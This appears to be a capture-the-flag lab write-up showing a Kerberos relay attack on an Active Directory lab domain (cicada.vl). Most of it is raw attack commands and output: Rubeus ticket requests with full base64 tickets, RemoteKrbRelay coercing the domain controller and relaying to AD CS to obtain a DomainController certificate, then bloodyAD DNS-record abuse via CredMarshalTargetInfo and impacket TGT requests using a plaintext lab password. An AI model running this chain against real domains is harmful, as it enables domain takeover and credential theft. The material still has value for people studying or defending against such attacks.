C:\Users\01214830\Downloads>Rubeus.exe asktgs /service:RPCSS/dc-jpq225.cicada.vl /dc:10.10.98.13 /ptt /ticket:doIFoDCCBZygAwIBBaEDAgEWooIEujCCBLZhggSyMIIErqADAgEFoQsbCUNJQ0FEQS5WTKIeMBygAwIBAqEVMBMbBmtyYnRndBsJY2ljYWRhLnZso4IEeDCCBHSgAwIBEqEDAgECooIEZgSCBGJpuQG7DOWOFIOwR1loVPfQIE2tQA627meQeHWH2OHOwIxQzQng1ELTJ9qFvhtp/q+cXxlXScNeTLhX1+Vr/C9YBiKeqpIeLFdkiSMJqng67nhtiFldtpoc4Q2dk165cVchVKe1StFwpevdMFIDYBSuSNVde0nxiGi+vMmch5AMGvEQ7pCkZTNS+tBcHdvNmX/Xdk3Ktlu0w7AGYiixPLlAIqpN4fOdXkxcARX7KkP2fczInJAmJ8Fk8XOA+xVA1kVfe2yLtYPnDtAxkykftllSjgbae0rvMEbIRbgqTOJTDmktNvTHOYD+xnQahb3MFUJ8IV4oXNkBAZjgCgQIvFid5LBKAzGIBwzMtpguVf8VDXG5etqG0ulCjui8PfmxTxLDwJEGczoYx4O0SoHEetchRYVMs2ykNXP0tXhPowoQHDzV0z1F3UU0Ho+X5E+iQPBtV8Yzu6hgLDLsI0ODYj/KeUjfbc5WalFjeD2deN5bMxxhrM6uAMkWD0Lhnb9A0JZYfVppacG9crJ9egIcM0hDT7IW9pLPV8IcW0Vpf6RaErF7Ere4EJD2aCo7joXPIGbp9RNw1PElG98SKcwHMKk7OLMxbyZw0U5AbUxsgYlHNMjijEqQDavv8RlbnvJRqO1d/Qu+y6SoBAl1wc66xRXygg9g5Jw9w1Brx4jzgaoamlVxtfMy54nuE1gtceJH28Akr90Q+3GS1cNlmb//XFjnzNSZzyj3VFh637+7ZrvLPwdGVVO2OjX1xgA7rxzRNCmk6FYOEXp+2PlcCXKT2f4F+Oh+5YU1wGHGFR+YnlPMbAfX0GeHcuTJJ0yailRfvGz3znHdNNCTlWTSvetcijpsZDe1EKiOOMj/bzRk/YfovM/xpJj9x0AvKeamYc5bRCp7x+mIsUcAJjiRtHgpKRC8R7bzIrWLWt5AqNf7EOACn0zp1KopwETlej2pia5c3zqAkqTX0LfqN4zgdlgIaiq9JpyY77agiMgf3JLjbveQHUGkEq8SjYc3ITbUXm1TSj0bbL/nArcGxx4xmfypQcKfcDCZprJ2FmTbx6gcMfSBYeaaoIjFIsz395sxrtejyUAosPxnNmyKi774rNe7PGJq4mKlNKFMmSoNV43o1DEEgg5F162gSFzqGGgXPiafdM/6BEW+wxhd81dztxbx2DXuXype5j9eemdGuLNVWEuyeRjIQhbfLe5b2qxHtdk2zK/rqDQXtkypQA2oU+FkMqxSwMqeZ4hjPkxedfqydrwx1VZVWuRd7R3xe368A82kxW7k2tzd5kUhbt+z4aqHsgDn7hXKWMgtZc0Bk+4n9nyX/t1I4Eu/VnkUpasG3S0f8CeRjE+FQLhHreCzq4xsElhxNyB1c9HKZwsuQEQQiELyVQKasHbNKZouXZkCQSwrpKYLSTCqKtkyuaPbSb+VCyoXOo5YxIT45J03wp1Rt+cefHd40D7uX1SoQEL0yt65wD7pgiEcYcEKsK6S++Bf+C2cFzyjgdEwgc6gAwIBAKKBxgSBw32BwDCBvaCBujCBtzCBtKAbMBmgAwIBF6ESBBBz3eLEjCM0Z10hKLqf2mTNoQsbCUNJQ0FEQS5WTKIZMBegAwIBAaEQMA4bDHJvc2llLnBvd2VsbKMHAwUAQOEAAKURGA8yMDI0MTAwNjAzNTgxN1qmERgPMjAyNDEwMDYxMzU4MTdapxEYDzIwMjQxMDEzMDM1ODE3WqgLGwlDSUNBREEuVkypHjAcoAMCAQKhFTATGwZrcmJ0Z3QbCWNpY2FkYS52bA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'RPCSS/dc-jpq225.cicada.vl'
[*] Using domain controller: 10.10.98.13
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
doIFyjCCBcagAwIBBaEDAgEWooIEyzCCBMdhggTDMIIEv6ADAgEFoQsbCUNJQ0FEQS5WTKInMCWgAwIB
AqEeMBwbBVJQQ1NTGxNkYy1qcHEyMjUuY2ljYWRhLnZso4IEgDCCBHygAwIBEqEDAgEDooIEbgSCBGpZ
nEFGFSomgRXMLDKT4EBXY2oxKS4na8yvQXaaBGU6pqmZyiWJItaJs1jP1c6WPieqjYDg/m1sYDA7Rdff
1G7ypFDwfdUT5dDVExqfX+JxbueZZn0AY3hXj+KRVYEJH5T4WG3sy3yFafotqWxpZKzdLZwzzVEctS/C
MTWlbUH0oAeYUVfRIYI5mPdQwVBsCkJ0x5OonNccq1fmPEykk2AFx6UaoKggw/URte7wzEsFejKW4JoT
+Yjr1TNNfAUUupIqYx/Nl95574qrkbhAWHfXjKfUvXT3gXnRhN5jYOdPTwLEj6dYCk8u/AlYLGptvuKS
lvAQrzcWYT5XfNRLEI4p7092WpSmMJGuteVvIrjNFYC5ShXkw3wV2rDyxhklAmEsIkcsv3PaJQfR8UgC
bI8jd0xt0g0QBkU7EcwoH0WC6s3mF3yGScyfq2LLmFtfdW2TXM6AusuFZfxbnoabZSK4bH0XDpGANSRg
Epz1wej/2ithC2zUcUfyfBYhz7jTv0SSet6/6N8fn48cBQgKVRmZ5kArpRSdu83yrx955IJuf4dPQbqw
NS9j1xqVTDKLghEmbz94oy2RSwKai+3MWZCdc8qdR1TCeOdYRauLZ6q3YaOEqOmmwmMJnOtx2R64TMuJ
0+PX8UPw2HiOC/iVplhkaUbZJ8v62QQyNF41rHQaVQAj8Yq2nAAx++I2q2zH/ONzVRSIoM8W2oCbOJjS
LWNULpA982Nv6qD4zGgiil0s+kGxz6Y81NwpCTDW9iQyfYn73TKkWKKzi+qE28hySkMrF9Lystm+nYve
rIzmm2oA+rzG/3bI2B2OkOpqdoDaAGHy/aVUR37Gqrq6uyBrOM01hzI4DcxBuynEXwg36aAhB9+0h6Qv
Z8a9Z1wrFGhzLAafqmhAC2U1DeQxADCTVk2FkzWfw+jDegGdOYwaZIGPAisntV0tveD0pwIo+bugXY6a
QeXepPfPx9Mr+9UTymHm9eWJHyjggN+sfiTeTPt4BtBIJ0E5L8hsU0uQhwu8pyIxSC/43VFMpXsROV4V
7y+ZR0QsHD2OktaljFeA1gDo/Irw/Vsvr4ZNK/XHIXE6MixTVrHN0wX9fkdaNCBHdb243oXm6KBntbIv
bh7BaK1f3ZUTBdY0EpxvmlxrI4KaUZALod49GhqfODIh32QmXV4ROUAJ8iRTPAf/GJEAvtC+4yzl0ddj
eIZix8zNdjzk37O5A40tik65hohkSEaKCL5ixjfeyiTsiz2xCwQ2+WC0C7a5yhh7S49EiUaYLa0quByX
f6FtV5AGMX7ofzxX4neHMmSy7T7JiApZfdkwpWQuh+glV21rgQ9D1i4NrFW6nG2e8x1/pYC9GxJR0pFc
ZPmOFHlMwJCWZyrY1sJQjOpTLwVRKt1GvLtCh2n539CHpbY4GqnQuCFFbWlOGF/w3BejFlJZKi8pQe1k
Qik3QpMTPw0Gq0sDJOXnj9VUA3u0JMpHXOlygCPeyqr3qnUkTkmsJ/p+rRgxSVkHMqOB6jCB56ADAgEA
ooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIFNKq7/tNoYpAEjYp1sDHhOyVX2GqsKDyf60
/6ldjW2DoQsbCUNJQ0FEQS5WTKIZMBegAwIBAaEQMA4bDHJvc2llLnBvd2VsbKMHAwUAQKUAAKURGA8y
MDI0MTAwNjAzNTk0M1qmERgPMjAyNDEwMDYxMzU4MTdapxEYDzIwMjQxMDEzMDM1ODE3WqgLGwlDSUNB
REEuVkypJzAloAMCAQKhHjAcGwVSUENTUxsTZGMtanBxMjI1LmNpY2FkYS52bA==
ServiceName : RPCSS/dc-jpq225.cicada.vl
ServiceRealm : CICADA.VL
UserName : rosie.powell
UserRealm : CICADA.VL
StartTime : 06/10/2024 12:59:43
EndTime : 06/10/2024 22:58:17
RenewTill : 13/10/2024 12:58:17
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U0qrv+02hikASNinWwMeE7JVfYaqwoPJ/rT/qV2NbYM=
C:\Users\01214830\Downloads>klist
Current LogonId is 0:0x758c8
Cached Tickets: (2)
#0> Client: rosie.powell @ CICADA.VL
Server: krbtgt/cicada.vl @ CICADA.VL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 10/6/2024 12:58:17 (local)
End Time: 10/6/2024 22:58:17 (local)
Renew Time: 10/13/2024 12:58:17 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
#1> Client: rosie.powell @ CICADA.VL
Server: RPCSS/dc-jpq225.cicada.vl @ CICADA.VL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 10/6/2024 12:59:43 (local)
End Time: 10/6/2024 22:58:17 (local)
Renew Time: 10/13/2024 12:58:17 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
C:\Users\01214830\Downloads>RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[+] Setting UP Rogue COM at port 12345
[+] Registering...
[+] Register success
[+] Forcing Authentication
[+] Using CLSID: d99e6e74-fc88-11d0-b498-00a0c90312f3
[*] apReq: 6082071f06092a864886f71201020201006e82070e3082070aa003020105a10302010ea20703050020000000a3820546618205423082053ea003020105a10b1b094349434144412e564ca2263024a003020102a11d301b1b04687474701b1364632d6a70713232352e6369636164612e766ca3820500308204fca003020112a103020103a28204ee048204eae845dd05e7c953cca7dc4d1913b4c61dfb19c5458d15cb0d17fec238b7ecd0bd73e2fdd64d9a5a38460d24365c8d118fb736cafb7642273ced2532007f50ff30656f0f7e4b426960ecf472e17b00d773ab341e9166757881b73474c27d1e58185d62d6206db74302a4d6ed1240d94281af6a64462c23b4d1a7691cd6d0e339455d4e77b9dc6526ceb37affa0de370c0483c4dd96ad13b13d9b7dca35c3b1c4f8552361aa1427e1e793b105a9663b01755b773927c4e8ee022eda81c8707f532d4c2988a88135b9f8db4267904f0cee63240647fc4427904e9782003d841f01ecde1e71366f3d682cc2a8f4562fe06cdf2d5bdd0b3c9d9ba7edf78e7e9b593a033770874136acd89786f34b967624e7fe8fb7d6e423bc38b0972c8eb47a094417197dc505e16a52fa0cb3e21ff5059a2cfa83d5d4f5db0b450d15c28229c02e79a77cf96184452e8a114a823f5463b3ca5f893c1a1aeb130f9c903854e8414ee956de49bfc1b790b605bc779e992801c86760dade1411206b0bdb252ef8306f4562ec0edc65fea4fad9ff035b8c5c8a09fae9c834167c3dbb1d4373afbce89a7cf75884fdf141f1201d155f79e292819839324326c4a40eb18c38a4a0f02e68511294c96335477995622d337d6fc794031c3e165ce0fefcbe75a8305045b6aaa9f914912f0e0a456e0f53917676e599c6cc38291e3d33462f6317bf807ec9186a7b0ce2ab5d0f6df7be9105a5b08d4b544997a80a3a85c8f6c5f89ecccacd10ee2aeb0a90c8d97e1124a7114b1f13a622b1f18f00dc2b644b98cae9664a98059a4ce68434aa71d9d03a90571574c3dcf828ba936801be17723fe5d3cbc1930077818609244d2a4ed2cf10d8e9594ecea01d61527573bf666bb14778140e591a129f3b428076f7aba598c33d4d174152dff03964edd1663b73183f299563833a58da74760043206cd4c3b69ba157ff1da4ba6c8331744772709027e48cd1edcc88329502844ee24b25e559b0b8f59c8b2d7d7824a8a5ced195d0ced0b502d35fb8d3df04f15dab7d1edb36dba731546f1e8fec7d132877ec0de987855d1d5d91776cd07e880c857b3f52c683f25f958dda3c241137f669f3cf5bbd48e62e8e0eedfb80007d9a81142c28d2fb46ed7b874f1d8f3597a275748cee083e50b74db28deeed972b7f93cf01df05615a1b8756fb299ba2e8c151264c4c9484d840d86fff5488c275e4fe4548b4f5cb9b3f3b35c09743f8ce29ea2f6ca68c2058ed7078933374b0ee97482b2ab19f816106159a771837d79c22119ddd42990d97abc8562d45d3364eb624f20e9d7ee20344108f1981da4a330186d35a2e16637fb1d07a1621ad70e43ce7943bfef87afbe842dcc442e5727540722c998272a1e3afd90d5ddafaf7bf6b7ca1b8d0f53cee6d3667157423ad6015c8387bbbc47b9bf5fb5f6494c1d3eb6538ec25be17ed7dd279a9348af9748b6f38d749ab2389502c0e9751093e483bf6462d898a5b63e10ee11572149ad56d2fba67a2503fe3bcacf73813d62b5988a4e7f62d5db83f60fbd5a33ec576b99877d31354604232d388eb3d54ba94ec1c50b88ae4c8a7bd19f9b104f5aef8a8b9e8b4ded3c2b044948477e11c13c8d91cb479133ac140efb4d7ee4bdbc4a1944dfcde6ceb74cea67c35044d4cb118b83ad116e7a38ff10f25fc08ec34fd079313ac1f22f4d2f43b414fad5cd0273a11541eb74042b5b508e40164dae8a9f55a26c45d429b84edc208d1ca1ab2f4456c9aad35f823345ea48201a9308201a5a003020112a282019c048201989094095ec9b1810afbfa34c64a50b6856497839915596b603cbc158c5db8a6d8737bdb6d3cb2ce08c7b5d85e6f92cdc6de32ad8fa479700359f6b9ae2342244d28e64d608b5ebd0ae9ca356a844a6937e587e8b6e4ed0a9871da18505932d3b25a8ec69cbdaec76c6c0c54a7b9580da8bc86b5b384d710da3243aca4f1f4af6bc48382268127b06eafc1a89d4ae21d9e625f236e5c7fe63e7d746078748b86c03f9b346ddeb6b5f8c5a41a7e8f7e40561e73d41c5a9fcc159711dac3160b5a1218330d167aaa71eac685d13f0cb5975190d340d62e4b862866917cab81f5218b8f17b6727fdf61ef76ca9d5cac3a38cc480d853d8e8f8a5608a9086c7b9ceebcad30142e236709a17bc5ca1a824c7a4c43c1869285daf83465ee68bba4ce5732d24230852836750a66d7428290adf17bded8e688db5d9f18cae68ba35eb0e540cad0786821279776702dedf284d8126d9bfbbd21278af302a3de40419247cb613dc7a0bc734ebf3af34b7c4b6e90937cc472b782c4da8c6749eb906b00cee539db36c374e122b9d7be453027bf047cc341a13b54fc0cec1f
[+] Got Krb Auth from NT/System. Relaying to ADCS now...
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, Confidentiality, UseDceStyle, Connection
[+] Received Kerberos Auth from dc-jpq225.cicada.vl with ticket on http/dc-jpq225.cicada.vl
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442158b4c4d03451d3fb0726c74a9feb2c0bb1e03c682732935aa74bdc40f553a6d2e803c625f764dd61399bfcb9d1da5da0ad005be1039eb166c7551f7c5682fcc22b9
[+] HTTP session established
[+] Cookie ASPSESSIONIDCCATTQTT=GKLPPFABLCAHIGIBGHPMEHAE; path=/
[+] Lets get certificate for "cicada.vl\dc-jpq225$" using "DomainController" template
[+] Success (ReqID: 15)
[+] Certificate in PKCS12: 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
Linux way
Note
- Kerberos relaying 101:
Launch a new instance then update the /etc/hosts file too:
- CredMarshalTargetInfo (from Synacktiv):
In his blogpost, James Forshaw showed that when an SMB client builds the SPN from the service class and name, the SecMakeSPNEx2 method is called. For the hostname fileserver and service class cifs, the returned SPN will look like the following:
cifs/fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA
The SecMakeSPNEx2 function makes a call to the API function CredMarshalTargetInfo. This API takes a list of target information in a CREDENTIAL_TARGET_INFORMATION structure, marshals it using Base64 encoding and appends it to the end of the real SPN.
He also showed that if we register the DNS record fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA, the client would ask a Kerberos ticket for cifs/fileserver but would connect to fileserver1UWhRCAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAfileserversBAAAA.
Under the hood, the client will call CredUnmarshalTargetInfo to parse the marshaled target information. However, the client does not consider the unmarshaled results. Instead, it simply determines the length of the marshaled data and removes that portion from the end of the target SPN string. Consequently, when the Kerberos package receives the target name, it has already been restored to the original SPN.
Knowing that by default all authenticated users can create A record if it doesn’t exist, we can abuse that:
$ bloodyAD --host dc-jpq225.cicada.vl -u 'rosie.powell' -p 'Cicada123' -k -d 'cicada.vl' add dnsRecord 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.8.4.253
[+] dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added
In order to make kerberos authentication work from our non-domain joined linux machine, we use the following /etc/krb5.conf (apt install krb5-user):
[libdefaults]
default_realm = CICADA.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
CICADA.VL = {
kdc = dc-jpq225.cicada.vl
admin_server = cicada.vl
default_domain = cicada.vl
}
[domain_realm]
.cicada.vl = CICADA.VL
Get the TGT of rosie.powell:
$ impacket-getTGT cicada.vl/rosie.powell:'Cicada123' -dc-ip dc-jpq225.cicada.vl
